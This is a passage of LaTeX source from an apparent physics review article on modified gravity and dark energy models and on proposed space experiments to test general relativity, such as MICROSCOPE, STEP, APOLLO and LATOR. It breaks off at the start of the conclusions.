\label{sec:dm-grav-mod}
There are two types of effects in the dark-matter-inspired gravity
theories that are responsible for the infrared modification.
First, there is an extra scalar excitation of the spacetime metric
besides the massless graviton. The mass of this scalar field is of
the order of the Hubble scale in vacuum, but its mass depends
crucially on the background over which it propagates. This
dependence is such that this excitation becomes more massive near
the source, and the extra degree of freedom decouples at short
distances in the spacetime of a spherically symmetric mass. This
feature makes this excitation to behave in a way that remind of
the chameleon field of \cite{Khoury_Weltman_04,Khoury:2003aq,Brax_etal_04}, however, quite often
this ``chameleon'' field is just a component of the spacetime
metric coupled to the curvature.
There is also another effect in these theories -- the Planck mass
that controls the coupling strength of the massless graviton also
undergoes a rescaling or ``running'' with the distance to the
sources (or the background curvature). This phenomenon, although a
purely classical one in our theory, is reminiscent of the quantum
renormalization group running of couplings. So one might wonder if
MONDian type actions could be an effective classical description
of strong renormalization effects in the infrared that might
appear in GR \cite{Julve,Reuter:1996cp}, as happens in QCD. A
phenomenological approach to structure formation bored on these
effects has been attempted in Ref. \cite{Bertolami11}. Other
implications, such as lensing, cosmic virial theorem and
nucleosynthesis, were analyzed in Refs.
\cite{Bertolami8,Bertolami21, Bertolami22}. Additionally, these
models offer a phenomenology that seems well suited to describe an
infrared strongly coupled phase of gravity and especially at high
energies/curvatures when one may use the GR action or its
linearization being a good approximation; however, when one
approaches low energies/curvatures one finds a non-perturbative
regime. At even lower energies/curvatures perturbation theory is
again applicable, but the relevant theory is of scalar-tensor type
in a de Sitter space.
Clearly there are many modifications of the proposed class of
actions that would offer a similar phenomenology, such that
gravity would be modified below a characteristic acceleration
scale of the order of the one required in MOND. Many of these
theories also offer the unique possibility of being tested not
only through astrophysical observations, but also through
well-controlled laboratory experiments where the outcome of an
experiment is correlated with parameters that can be determined by
means of cosmological and astrophysical measurements.
\subsection{Dark Energy as Modern Cosmological Puzzle}
\label{sec:de}
In 1998 Perlmutter and collaborators \cite{Perlmutter} and Riess
and collaborators \cite{Riess} have gathered data of the
magnitude-redshift relation of Type Ia supernovae with redshifts
$z\ge 0.35$ and concluded that it strongly suggest that we live in
an accelerating Universe, with a low matter density with about one
third of the of the energy content of the Universe. Currently
there are about 250 supernovae data points which confirm this
interpretation. Dark energy is assumed to be a smooth distribution
of non-luminous energy uniformly distributed over the Universe so
to account for the extra dimming of the light of far away Type Ia
supernovae, standard candles for cosmological purposes. If there
is a real physical field responsible for Dark Energy, it may be
phenomenologically described in terms of an energy density $\rho$
and pressure $p$, related instantaneously by the equation-of-state
parameter $w=p/\rho$. Furthermore, covariant energy conservation
would then imply that $\rho$ dilutes as $a^{-3(1+w)}$, with $a$
being the scale factor. Note that $p=w\rho$ is not necessarily
the actual equation of state of the Dark Energy fluid, meaning
that perturbations may not generally obey $\delta p = w \delta
\rho$; however, if one were to have such an equation of state, one
can define the speed of sound by $c_{s}^{2} = \partial p/ \partial
\rho$. The implications of this phenomenology would make much
more sense in the context of theories proposed to provide the
required microscopic description.
\subsubsection{Cosmological Constant and Dark Energy}
One of the leading explanations for the accelerated expansion of
the Universe is the presence of a non-zero cosmological constant.
As can be seen from Einstein's equation, the cosmological term can
be viewed not as a geometric prior to the spacetime continuum, but
instead interpreted as a energy-momentum tensor proportional to
the metric, thus enabling the search for the fundamental physics
mechanism behind its value and, possibly, its evolution with
cosmic time. An outstanding question in today's physics lies in
the discrepancy between the observed value for $\Lambda$ and the
prediction arising from quantum field theory, which yields a
vacuum energy density about $120$ orders of magnitude larger than
the former. To match the observed value, requires a yet unknown
cancelation mechanism to circumvent the fine tuning of $120$
decimal places necessary to account for the observations. This is
so as observations require the cosmological constant to be of
order of the critical density $\rho_c = 3H_0^2/8\pi G \simeq
10^{-29}$~g~cm$^{-3}$:
\begin{equation} \rho_V \equiv {\Lambda \over 8 \pi G} \simeq 10^{-29}
{\rm g~cm^{-3}} \simeq 10^{-12} {\rm eV^4}, \label{eq:1.4} \end{equation}
\noindent while the natural number to expect from a quantum gravity theory
is $M_P^4 \simeq 10^{76}$~GeV$^4$.
Besides the cosmological constant, a slow-varying vacuum
energy\footnote{For earlier suggestions see Refs. \cite{Bronstein38}.} of
some scalar field, usually referred to as ``quintessence''
\cite{Caldwell}, or an exotic fluid like the generalized Chaplygin
gas {\cite{Bento2002} are among other the most discussed
candidates to account for this dominating contribution for the
energy density. It is worth mentioning that the latter possibility
allows for a scenario where dark energy and dark matter are
unified.
We mention that the presented bounds result from a variety of
sources, of which the most significant are the CMBR,
high-$z$ supernovae redshifts and
galaxy cluster abundances. These joint constraints establish that
the amount of dark energy, dark matter and baryons are, in terms
of the critical density, $\Omega_\Lambda \simeq 0.73$, $\Omega_{\tt DM} =
0.23$ and $\Omega_{\tt Baryons} = 0.04$, respectively \cite{LahavLiddle05}.
Current observational constraints imply that the evolution of Dark
Energy is entirely consistent with $w=-1$, characteristic of a
cosmological constant ($\Lambda$). The cosmological constant was
the first, and remains the simplest, theoretical solution to the
Dark Energy observations. The well-known ``cosmological constant
problem'' -- why is the vacuum energy so much smaller than we
expect from effective-field-theory considerations? -- remains, of
course, unsolved.
Recently an alternative mechanism to explain $\Lambda$ has arisen
out of string theory. It was previously widely perceived that
string theory would continue in the path of QED and QCD wherein
the theoretical picture contained few parameters and a uniquely
defined ground state. However recent developments have yielded a
theoretical horizon in distinct opposition to this, with a
``landscape'' of possible vacua generated during the
compactification of 11 dimensions down to 3 \cite{Kachru_KL_03}.
Given the complexity of the landscape, anthropic arguments have
been put forward to determine whether one vacuum is preferred over
another. It is possible that further development of the statistics
of the vacua distribution, and characterization of any distinctive
observational signatures, such as predictions for the other
fundamental coupling constants, might help to distinguish
preferred vacua and extend beyond the current vacua counting
approach.
Although Dark Energy is the most obvious and popular possibility
to the recently observed acceleration of the Universe, other
competing ideas have been investigated, and among them is
modifications of gravity on cosmological scales. Indeed, as we
discussed earlier, GR is well tested in the solar system, in
measurements of the period of the binary pulsar, and in the early
Universe, via primordial nucleosynthesis. None of these tests,
however, probes the ultra-large length scales and low curvatures
characteristic of the Hubble radius today. Therefore, one can
potentially think that gravity is modified in the very far
infrared allowing the Universe to accelerate at late times.
In this section we will discuses some of the gravity modification
proposals suggested to provide a description of the observed
acceleration of the Universe.
\subsubsection{Modified Gravity as an Alternative to Dark Energy}
A straightforward possibility is to modify the usual
Einstein-Hilbert action by adding terms that are blow up as the
scalar curvature goes to zero
\cite{Carroll_DTT_2003,Carroll_FDETT_2004}. Recently, models
involving inverse powers of the curvature have been proposed as an
alternative to Dark Energy
\cite{Carroll_FDETT_2004,Capozziello:2003tk}. In these models one
generically has more propagating degrees of freedom in the
gravitational sector than the two contained in the massless
graviton in GR. The simplest models of this kind add inverse
powers of the scalar curvature to the action ($\Delta {\cal
L}\propto 1/R^n$), thereby introducing a new scalar excitation in
the spectrum. For the values of the parameters required to explain
the acceleration of the Universe this scalar field is almost
massless in vacuum and one might worry about the presence of a new
force contradicting solar system experiments. However, it can be
shown that models that involve inverse powers of other invariant,
in particular those that diverge for $r\rightarrow 0$ in the
Schwarzschild solution, generically recover an acceptable weak
field limit at short distances from sources by means of a
screening or shielding of the extra degrees of freedom at short
distances \cite{Navarro:2005da}. Such theories can lead to
late-time acceleration, but unfortunately typically lead to one of
two problems. Either they are in conflict with tests of GR in the
solar system, due to the existence of additional dynamical degrees
of freedom \cite{Chiba_2003}, or they contain ghost-like degrees
of freedom that seem difficult to reconcile with fundamental
theories. The search is ongoing for versions of this idea that
are consistent with experiment.
A more dramatic approach would be to imagine that we live on a
brane embedded in a large extra dimension. Although such theories
can lead to perfectly conventional gravity on large scales, it is
also possible to choose the dynamics in such a way that new
effects show up exclusively in the far infrared. An example is
the Dvali-Gabadadze-Porrati (DGP) braneworld model, in which the
strength of gravity in the bulk is substantially less than that on
the brane \cite{Dvali_GP_2000}. Such theories can naturally lead
to late-time acceleration \cite{Deffayet_2000,Deffayet_etal_2001},
but may have difficulties with strong-coupling issues
\cite{Luty_PR_2003}. Furthermore, the DGP model does not properly
account for the supernova data, as does its generalization, the
Dvali-Turner model, and also other \textit{ad hoc} modifications
of the Friedmann equation, the so-called Cardassian model
\cite{Bento2005}. Most interestingly, however, DGP gravity and
other modifications of GR hold out the possibility of having
interesting and testable predictions that distinguish them from
models of dynamical Dark Energy. One outcome of this work is that
the physics of the accelerating Universe may be deeply tied to the
properties of gravity on relatively short scales, from millimeters
to astronomical units.
\subsubsection{Scalar field Models as Candidate for Dark Energy}
\label{sec:sc-models-de}
One of the simplest candidates for dynamical Dark Energy is a
scalar field , $\varphi$, with an extremely low-mass and an
effective potential, $V(\varphi)$, as shown by
Eq.~(\ref{eq:sc-tensor}) \cite{Bertolami13}. If the field is
rolling slowly, its persistent potential energy is responsible for
creating the late epoch of inflation we observe today. For the
models that include only inverse powers of the curvature, besides
the Einstein-Hilbert term, it is however possible that in regions
where the curvature is large the scalar has naturally a large mass
and this could make the dynamics to be similar to those of GR
\cite{Cembranos:2005fi}. At the same time, the scalar curvature,
while being larger than its mean cosmological value, is still very
small in the solar system (to satisfy the available results of
gravitational tests). Although a rigorous quantitative analysis of
the predictions of these models for the tests in the solar system
is still noticeably missing in the literature, it is not clear
whether these models may be regarded as a viable alternative to
Dark Energy.
Effective scalar fields are prevalent in supersymmetric field
theories and string/M-theory. For example, string theory predicts
that the vacuum expectation value of a scalar field, the dilaton,
determines the relationship between the gauge and gravitational
couplings. A general, low energy effective action for the massless
modes of the dilaton can be cast as a scalar-tensor theory as
Eq.~(\ref{eq:sc-tensor}) with a vanishing potential, where
$f(\varphi)$, $g(\varphi)$ and $q_{i}(\varphi)$ are the dilatonic
couplings to gravity, the scalar kinetic term and gauge and matter
fields respectively, encoding the effects of loop effects and
potentially non-perturbative corrections.
A string-scale cosmological constant or exponential dilaton
potential in the string frame translates into an exponential
potential in the Einstein frame. Such quintessence potentials
\cite{Wetterich_88,Ratra_Peebles_88} can have scaling
\cite{Ferreira_Joyce_97}, and tracking \cite{Zlatev_WS_99}
properties that allow the scalar field energy density to evolve
alongside the other matter constituents. A problematic feature of
scaling potentials \cite{Ferreira_Joyce_97} is that they do not
lead to accelerative expansion, since the energy density simply
scales with that of matter. Alternatively, certain potentials can
predict a Dark Energy density which alternately dominates the
Universe and decays away; in such models, the acceleration of the
Universe is transient
\cite{Albrecht_Skordis_00,Dodelson_KS_2001,Bento02}. Collectively,
quintessence potentials predict that the density of the Dark
Energy dynamically evolve in time, in contrast to the cosmological
constant. Similar to a cosmological constant, however, the scalar
field is expected to have no significant density perturbations
within the causal horizon, so that they contribute little to the
evolution of the clustering of matter in large-scale structure
\cite{Ferreira_Joyce_98}.
In addition to couplings to ordinary matter, the quintessence
field may have nontrivial couplings to dark matter
\cite{Anderson_Carroll_1997,Farrar_Peebles_2003}. Non perturbative
string-loop effects do not lead to universal couplings, with the
possibility that the dilaton decouples more slowly from dark
matter than it does from gravity and fermions. This coupling can
provide a mechanism to generate acceleration, with a scaling
potential, while also being consistent with Equivalence Principle
tests. It can also explain why acceleration is occurring only
recently, through being triggered by the non-minimal coupling to
the cold dark matter, rather than a feature in the effective
potential \cite{Bean_Magueijo_01, Gasperini_PV_2002}. Such
couplings can not only generate acceleration, but also modify
structure formation through the coupling to CDM density
fluctuations \cite{Bean_01}, in contrast to minimally coupled
quintessence models. Dynamical observables, sensitive to the
evolution in matter perturbations as well as the expansion of the
Universe, such as the matter power spectrum as measured by large
scale surveys, and weak lensing convergence spectra, could
distinguish non-minimal couplings from theories with minimal
effect on clustering. The interaction between dark energy and dark
matter is, of course, present in the generalized Chaplygin gas
model, as in this proposal the fluid has a dual behavior.
It should be noted that for the run-away dilaton scenario
presented in Section \ref{sec:SMT}, comparison with the minimally
coupled scalar field action,
\begin{equation} S_{\phi} = {c^3\over 4\pi G}\int d^{4}x\sqrt{-g}
\left[\frac{1}{4}R +\frac{1}{2}\partial_{\mu} \phi\partial^{\mu}
\phi-V(\phi)\right],\end{equation}
\noindent reveals that the negative scalar kinetic term leads to
an action equivalent to a ``ghost'' in quantum field theory, and
is referred to as ``phantom energy'' in the cosmological context
\cite{Caldwell_02}. Such a scalar field model could in theory
generate acceleration by the field evolving {\it up} the potential
toward the maximum. Phantom fields are plagued by catastrophic UV
instabilities, as particle excitations have a negative mass
\cite{Carroll_HT_03,Cline_JM_04}; the fact that their energy is
unbounded from below allows vacuum decay through the production of
high energy real particles and negative energy ghosts that will be
in contradiction with the constraints on ultra-high energy cosmic
rays \cite{Sreekumar_etal_98}.
Such runaway behavior can potentially be avoided by the
introduction of higher-order kinetic terms in the action. One
implementation of this idea is ``ghost condensation''
\cite{Arkani_CMZ_04}. Here, the scalar field has a negative
kinetic energy near $\dot\phi=0$, but the quantum instabilities
are stabilized by the addition of higher-order corrections to the
scalar field Lagrangian of the form $(\partial_{\mu}
\phi\partial^{\mu} \phi)^{2}$. The ``ghost'' energy is then
bounded from below, and stable evolution of the dilaton occurs
with $w\ge-1$ \cite{Piazza_Tsujikawa_04}. The gradient
$\partial_\mu\phi$ is non-vanishing in the vacuum, violating
Lorentz invariance, and may have interesting consequences in
cosmology and in laboratory experiments.
In proposing the scalar field as physical and requiring it to
replace CDM and DE, one has to also calculate how the scalar field
density fluctuations evolve, in order to compare them with density
power spectra from large-scale structure surveys. This is true for
the broader set of phenomenological models including the
generalized Born-Infeld action, associated to the generalized Chaplygin
gas model \cite{Bento2002}. Despite being consistent with
kinematical observations, it has been pointed that they are
disfavored in comparison to the $\Lambda$CDM scenario
\cite{Sandvik_TZ_04,Bean_Dore_03}, even though solutions have been
proposed \cite{Bento04}.
\section{Gravitational Physics and Experiments in Space}
\label{sec:space}
Recent progress in observational astronomy, astrophysics, and cosmology
has raised important questions related to gravity and other
fundamental laws of Nature. There are two approaches
to physics research in space: one can detect and study signals from remote
astrophysical objects,
while the other relies on a carefully designed experiment.
Although the two methods are
complementary, the latter has the advantage of utilizing a
well-understood and controlled laboratory environment in the solar system.
Newly available technologies in conjunction with existing space
capabilities offer unique
opportunities to take full advantage of the variable gravity potentials,
large heliocentric
distances, and high velocity and acceleration regimes that are present
in the solar system.
As a result, solar system experiments can significantly advance our
knowledge of fundamental
physics and are capable of providing the missing links connecting
quarks to the cosmos.
In this section we will discuss theoretical motivation of and
innovative ideas for the
advanced gravitational space experiments.
\subsection{Testable Implications of Recent Theoretical Proposals}
The theories that were discussed in the previous section offer a
diverse range of characteristic experimental predictions differing
from those of GR that would allow their falsification. The most
obvious tests would come from the comparison of the predictions of
the theory to astrophysical and cosmological observations where
the dynamics are dominated by very small gravitational fields. As
a result, one might expect that these mechanisms would lead to
small effects in the motion of the bodies in the solar system,
short- and long-scale modifications of Newton's law, as well as
astrophysical phenomena.
Below we will discuss these possible tests and estimate the sizes of the
expected effects.
\subsubsection{Testing Newton's Law at Short Distances}
It was observed that many recent theories predict observable
experimental signatures in experiments testing Newton's law at
short distances. For instance in the case of MOND-inspired
theories discussed in Section~\ref{sec:dm-grav-mod}, there may be
an extra scalar excitation of the spacetime metric besides the
massless graviton. Thus, in the effective gravitational theory
applicable to the terrestrial conditions, besides the massless
spin two graviton, one would also have an extra scalar field with
gravitational couplings and with a small mass. A peculiar feature
of such a local effective theory on a Schwarzschild background is
that there will be a preferred direction that will be reflected in
an anisotropy of the force that this scalar excitation will
mediate. For an experiment conducted in the terrestrial conditions
one expects short ranges modifications of Newton's law at
distances of $ \sim 0.1$ mm, regime that is close to that already
being explored in some laboratory experiments
\cite{Adelberger_etal_2003a,Adelberger_etal_2003b}.
For an experiment on an Earth-orbiting platform, one explores
another interesting regime for which the solar mass and the
Sun-Earth distance are the dominant factors in estimating the size
of the effects. In this case the range of interest is $\sim 10^4$~m.
However in measuring the gravitational field of an object one
has to measure this field at a distance that is larger than the
critical distance for which the self-shielding of the extra scalar
excitation induced by the object itself is enough to switch off
the modification. This means that, for an experiment in the inner
solar system, we could only see significant modifications in the
gravitational field of objects whose characteristic distance is
smaller than $10^4$ m, thus limiting the mass of the body to be
below $\sim 10^{9}$ kg. As an example, one can place an object
with mass of $10^3$ kg placed on a heliocentric orbit at $\sim 1$~AU distance.
For this situation, one may expect modifications of
the body's gravitational field at distances within the range of
$\sim 10-10^4$ m. Note that at shorter distances the scalar
effectively decouples because of the self-gravitational effect of
the test object; also, at longer distances the mass induced by
solar gravitational field effectively decouples the scalar.
\subsubsection{Solar System Tests of Relativistic Gravity}
Although many effects expected by gravity modification models are
suppressed within the solar system, there are measurable effects
induced by some long-distance modifications of gravity (notably
the DGP model \cite{Dvali_GP_2000})). For instance, in the case of
the precession of the planetary perihelion in the solar system,
the anomalous perihelion advance, $\Delta \phi$, induced by a
small correction, $\delta V_N$, to Newton's potential, $V_N$, is
given in radians per revolution \cite{Dvali:2002vf} by
\begin{equation} \Delta \phi \simeq \pi r
{d\over dr}\left(r^2 {d \over dr}\left({\delta
V_N \over rV_N}\right)\right). \end{equation}
The most reliable data regarding the planetary perihelion advances come
from the inner planets of the solar system \cite{Pitjeva}, where
most of the corrections are negligible. However, with its
excellent 2-cm-level range accuracy \cite{Williams_Turyshev_Boggs_2004}, LLR offers an interesting possibility to test for these new effects. Evaluating the expected magnitude of the effect to the Earth-Moon system, one predicts an anomalous shift of $\Delta \phi \sim 10^{-12}$, to be compared with the achieved accuracy of $2.4\times 10^{-11}$ \cite{Dvali:2002vf}. Therefore, the theories of gravity modification result in an intriguing possibility of discovering new physics, if one focuses on achieving higher precision in modern astrometrical measurements; this accuracy increase is within the reach and should be attempted in the near future.
The quintessence models discussed in Section
\ref{sec:sc-models-de} offer the possibility of observable
couplings to ordinary matter, makes these models especially
attractive for the tests even on the scales of the solar system.
Even if we restrict attention to non-renormalizable couplings
suppressed by the Planck scale, tests from fifth-force experiments
and time-dependence of the fine-structure constant imply that such
interactions must be several orders of magnitude less than
expected \cite{Carroll_1998}. Further improvement of existing
limits on violations of the Equivalence Principle in terrestrial
experiments and also in space would also provide important constraints on
dark-energy models.
Another interesting experimental possibility is provided by the
``chameleon'' effect \cite{Khoury_Weltman_04,Brax_etal_04}. Thus,
by coupling to the baryon energy density, the scalar field value
can vary across space from solar system to cosmological scales.
Though the small variation of the coupling on Earth satisfies the
existing terrestrial experimental bounds, future gravitational
experiments in space such as measurements of variations in the
gravitational constant or test of Equivalence Principle, may
provide critical information for the theory.
There is also a possibility that the dynamics of the quintessence
field evolves to a point of minimal coupling to matter. In
\cite{Damour_Polyakov_1994a} it was shown that $\phi$ could be
attracted towards a value $\phi_{m}(x)$ during the matter
dominated era that decoupled the dilaton from matter. For
universal coupling, $f(\varphi)=g(\varphi)=q_{i}(\varphi)$ (see
Eq.~\ref{eq:sc-tensor}), this would motivate for improving the
accuracy of the equivalence principle and other tests of GR.
Ref.~\cite{Veneziano_2001} suggested that with a large number of
non-self-interacting matter species, the coupling constants are
determined by the quantum corrections of the matter species, and
$\phi$ would evolve as a run-away dilaton with asymptotic value
$\phi_{m}\rightarrow\infty$. More recently, in Refs.
\cite{DPV02a} the quantity $\frac{1}{2}(1-\gamma)$ has been
estimated, within the framework compatible with string theory and
modern cosmology, which basically confirms the previous result
\cite{Damour_Nordtvedt_1993a}. This recent
analysis discusses a scenario where a composition-independent
coupling of dilaton to hadronic matter produces detectable
deviations from GR in high-accuracy light deflection experiments
in the solar system. This work assumes only some general property
of the coupling functions and then only assume that $(1-\gamma)$
is of order of one at the beginning of the controllably classical
part of inflation. It was shown in \cite{DPV02a} that one can
relate the present value of $\frac{1}{2}(1-\gamma)$ to the
cosmological density fluctuations; the level of the expected
deviations from GR is $\sim0.5\times10^{-7}$ \cite{DPV02a}. Note
that these predictions are based on the work in scalar-tensor
extensions of gravity which are consistent with, and indeed often
part of, present cosmological models provide a strong motivation
for improvement of the accuracy of gravitational tests in the
solar system.
\subsubsection{Observations on Astrophysical and Cosmological Scales}
The new theories also suggest an interesting observable effects on
astrophysical and cosmological observations (see for instance
\cite{Aguirre:2003pg}). In this respect, one can make unambiguous
predictions for the rotation curves of spiral galaxies with the
mass-to-light ratio being the only free parameter. Specifically,
it has been argued that a skew-symmetric field with a suitable
potential could account for galaxy and cluster rotation curves
\cite{moffat05}. One can even choose an appropriate potential that
would then give rise to flat rotation curves that obey the
Tully-Fisher law \cite{Tully:1977fu}. But also other aspects of
the observations of galactic dynamics can be used to constrain a
MOND-like modification of Newton's potential (see
\cite{Zhao:2005zq}). And notice also that our theory violates the
strong equivalence principle, as expected for any relativistic
theory for MOND \cite{Milgrom:1983ca}, since locally physics will
intrinsically depend on the background gravitational field. This
will be the case if the background curvature dominates the
curvature induced by the local system, similarly to the ``external
field effect'' in MOND.
At larger scales, where one can use the equivalence with a
scalar-tensor theory more reliably, one can then compare the
theory against the observations of gravitational lensing in
clusters, the growth of large scale structure and the fluctuations
of the CMBR. In fact, it has been pointed out that if GR was
modified at large distances, an inconsistency between the allowed
regions of parameter space would allow for Dark Energy models
verification when comparing the bounds on these parameters
obtained from CMBR, and large scale structure \cite{Ishak:2005zs}.
This means that although some cosmological observables, like the
expansion history of the Universe, can be indistinguishable in
modified gravity and Dark Energy models, this degeneracy is broken
when considering other cosmological observations and in particular
the growth of large scale structure and the Integrated Sachs-Wolfe
effect (ISW) have been shown to be good discriminators for models
in which GR is modified \cite{Zhang:2005vt}. It has been recently
pointed out that the fact that in the DGP model the effective
Newton's constant increases at late times as the background
curvature diminishes, causes a suppression of the ISW that brings
the theory into better agreement with the CMBR data than the
$\Lambda$CDM model \cite{Sawicki:2005cc}.
\subsection{New Experiments and Missions}
Theoretical motivations presented above have stimulated development of
several highly-accurate space experiments. Below we will briefly discuss
science objectives and experimental design for several advanced experiments,
namely MICROSCOPE, STEP, and HYPER missions, APOLLO LLR facility, and the LATOR mission.
\subsubsection{MICROSCOPE, STEP, and HYPER Missions}
\label{missions}
Ground experiments designed to verify the validity of the WEP are
limited by unavoidable microseismic activity of Earth, while the
stability of space experiments offers an improvement in the
precision of current tests by a factor of $10^6$. Most probably,
the first test of the WEP in space will be carried out by the
MICROSCOPE (MICROSatellite a traine Compensee pour l'Observation
du Principe d'Equivalence) mission led by CNES and ESA. The
drag-free MICROSCOPE satellite, transporting two pairs of test
masses, will be launched into a sun-synchronous orbit at
$600$~km altitude. The differential displacements between each
test masses will of a pair be measured by capacitive sensors at
room-temperature, with an expected precision of one part in
$10^{15}$.
The more ambitious joint ESA/NASA STEP (Satellite Test of the
Equivalence Principle) mission which is proposed to be launched
in the near future into a circular, sun-synchronous orbit with altitude of $600~km$. The drag-free STEP spacecraft will carry four
pairs of test masses stored in a dewar of superfluid He at a 2~K
temperature. Differential displacements between the test masses of
a pair will be measured by SQUID (Superconducting QUantum
Interference Device) sensors, testing the WEP with an expected
precision of $\Delta a/a \sim 10^{18}$.
Another quite interesting test of the WEP involves atomic
interferometry: high-precision gravimetric measurements can be
taken via the interferometry of free-falling caesium atoms, and
such a concept has already yielded a precision of 7 parts per
$10^9$ \cite{Peters}. This can only be dramatically improved in
space, through a mission like HYPER (HYPER-precision cold atom
interferometry in space). ESA's HYPER spacecraft would be in a
sun-synchronous circular orbit at $700$~km altitude. Two atomic
Sagnac units are to be accommodated in the spacecraft, comprising
four cold atom interferometers able to measure rotations and
accelerations along two orthogonal planes. By comparing the rates
of fall of caesium and rubidium atoms, the resolution of the atom
interferometers of the HYPER experiment could, in principle, test
the WEP with a precision of one part in $10^{15}$ or $10^{16}$
\cite{HYPER}.
It is worth mentioning that proposals have been advanced to test
the WEP by comparing the rate of fall of protons and antiprotons
in a cryogenic vacuum facility that will be available at the ISS
\cite{Lewis}. The concept behind this Weak Equivalence Antimatter
eXperiment (WEAX) consists of confining antiprotons for a few
weeks in a Penning trap, in a geometry such that gravity would
produce a perturbation on the motion of the antiprotons. The
expected precision of the experiment is of one part in $10^6$,
three orders of magnitude better than for a ground experiment.
It is clear that testing the WEP in space requires pushing current
technology to the limit; even though no significant violations of
this principle are expected, any anomaly would provide significant
insight into new and fundamental physical theories. The broad
perspectives and the potential impact of testing fundamental
physics in space were discussed in Ref. \cite{Bertolami20}.
\subsubsection{APOLLO -- a $mm$-class LLR Facility}
The Apache Point Observatory Lunar Laser-ranging Operation is a
new LLR effort designed to achieve millimeter range precision and
corresponding order-of-magnitude gains in measurements of
fundamental physics parameters. The APOLLO project design and
leadership responsibilities are shared between the University of
California at San Diego and the University of Washington. In
addition to the modeling aspects related to this new LLR
facility, a brief description of APOLLO and associated
expectations is provided here for reference. A more complete
description can be found in \cite{Murphy_etal_2002}.
The principal technologies implemented by APOLLO include a robust
Nd:YAG laser with 100~ps pulse width, a GPS-slaved 50 MHz
frequency standard and clock, a 25~ps-resolution time interval
counter, and an integrated avalanche photo-diode (APD) array. The
APD array, developed at Lincoln Labs, is a new technology that
will allow multiple simultaneous photons to be individually
time-tagged, and provide two-dimensional spatial information for
real-time acquisition and tracking capabilities.
The overwhelming advantage APOLLO has over current LLR operations
is a 3.5 m astronomical quality telescope at a good site. The site
in the Sacramento Mountains of southern New Mexico offers high
altitude (2780~m) and very good atmospheric ``seeing'' and image
quality, with a median image resolution of $1.1$ arcseconds. Both
the image sharpness and large aperture enable the APOLLO
instrument to deliver more photons onto the lunar retroreflector
and receive more of the photons returning from the reflectors,
respectively. Compared to current operations that receive, on
average, fewer than 0.01 photons per pulse, APOLLO should be well
into the multi-photon regime, with perhaps 5-10 return photons per
pulse. With this signal rate, APOLLO will be efficient at finding
and tracking the lunar return, yielding hundreds of times more
photons in an observation than current operations deliver. In
addition to the significant reduction in statistical error
($\sim\sqrt{N}$ reduction), the high signal rate will allow
assessment and elimination of systematic errors in a way not
currently possible.
The new LLR capabilities offered by the newly developed APOLLO
instrument offer a unique opportunity to improve accuracy of a
number of fundamental physics tests. The APOLLO project will push
LLR into the regime of millimetric range precision which
translates to an order-of-magnitude improvement in the
determination of fundamental physics parameters. For the Earth and
Moon orbiting the Sun, the scale of relativistic effects is set by
the ratio $(GM / r c^2)\sim v^2 /c^2 \sim 10^{-8}$. Relativistic
effects are small compared to Newtonian effects. The APOLLO's
1 mm range accuracy corresponds to $3\times 10^{-12}$ of the
Earth-Moon distance. The resulting LLR tests of gravitational
physics would improve by an order of magnitude: the Equivalence
Principle would give uncertainties approaching $10^{-14}$, tests
of GR effects would be $<0.1$\%, and estimates of
the relative change in the gravitational constant would be 0.1\%
of the inverse age of the Universe. This last number is impressive
considering that the expansion rate of the Universe is
approximately one part in 10$^{10}$ per year.
Therefore, the gain in our ability to conduct even more precise
tests of fundamental physics is enormous, thus this new instrument
stimulates development of better and more accurate models for the
LLR data analysis at a mm-level \cite{llr-ijmpd}.
\subsubsection{The LATOR Mission}
The recently proposed Laser Astrometric Test Of Relativity (LATOR)
\cite{Laser_Clocks_LATOR,solvang_lator04,Lator01,Texas@Stanford_lator}
is an experiment designed to test the metric nature of gravitation
-- a fundamental postulate of Einstein's theory of general
relativity. By using a combination of independent time-series of
highly accurate gravitational deflection of light in the immediate
proximity to the sun, along with measurements of the Shapiro time
delay on interplanetary scales (to a precision respectively better
than $10^{-13}$ radians and 1 cm), LATOR will significantly
improve our knowledge of relativistic gravity. The primary mission
objective is to i) measure the key post-Newtonian Eddington
parameter $\gamma$ with accuracy of a part in 10$^9$. The quantity
$(1-\gamma)$ is a direct measure for presence of a new interaction
in gravitational theory, and, in its search, LATOR goes a factor
$30,000$ beyond the present best result, Cassini's 2003 test. Other
mission objectives include: ii) first measurement of gravity's
non-linear effects on light to $\sim 0.01\%$ accuracy; including
both the traditional Eddington $\beta$ parameter via gravity
effect on light to $\sim0.01\%$ accuracy and also the spatial
metric's 2-nd order potential contribution $\delta$ (never measured
before); iii) direct measurement of the solar quadrupole moment
$J_2$ (currently unavailable) to accuracy of a part in 200 of its
expected size; iv) direct measurement of the ``frame-dragging''
effect on light due to the sun's rotational gravitomagnetic field,
to $0.1\%$ accuracy. LATOR's primary measurement pushes to
unprecedented accuracy the search for cosmologically relevant
scalar-tensor theories of gravity by looking for a remnant scalar
field in today's solar system. The key element of LATOR is a
geometric redundancy provided by the laser ranging and
long-baseline optical interferometry.
As a result, LATOR will be able to test the metric nature of the
Einstein's general theory of relativity in the most intense
gravitational environment available in the solar system -- the
extreme proximity to the sun. It will also test alternative
theories of gravity and cosmology, notably scalar-tensor theories,
by searching for cosmological remnants of scalar field in the
solar system. LATOR will lead to very robust advances in the tests
of fundamental physics: this mission could discover a violation or
extension of GR, or reveal the presence of an
additional long range interaction in the physical law. There are
no analogs to the LATOR experiment; it is unique and is a natural
culmination of solar system gravity experiments \cite{Laser_Clocks_LATOR}.
LATOR mission is the 21st century version of Michelson-Morley-type
experiment searching for a cosmologically evolved scalar field in
the solar system. In spite of the previous space missions
exploiting radio waves for tracking the spacecraft, this mission
manifests an actual breakthrough in the relativistic gravity
experiments as it allows to take full advantage of the optical
techniques that recently became available. LATOR has a number of
advantages over techniques that use radio waves to measure
gravitational light deflection. Thus, optical technologies allow
low bandwidth telecommunications with the LATOR spacecraft. The
use of the monochromatic light enables the observation of the
spacecraft at the limb of the sun. The use of narrowband filters,
coronagraph optics and heterodyne detection will suppress
background light to a level where the solar background is no
longer the dominant noise source. The short wavelength allows much
more efficient links with smaller apertures, thereby eliminating
the need for a deployable antenna. Finally, the use of the ISS
enables the test above the Earth's atmosphere -- the major source
of astrometric noise for any ground based interferometer. This
fact justifies LATOR as a space mission. LATOR is envisaged as a
partnership between European and US institutions and with clear
areas of responsibility between the space agencies: NASA provides
the deep space mission components, while optical infrastructure on
the ISS would be an ESA contribution.
\section*{Conclusions}
\label{sec:conclusions}
General theory of relativity is one of the most elegant theories of physics;
it is also one of the most empirically verified. Thus, almost ninety years of
testing have also proved that GR has so far successfully accounted for
all encountered phenomena and experiments in the solar system and with binary pulsars.
However, despite that there are predictions of the theory that require still
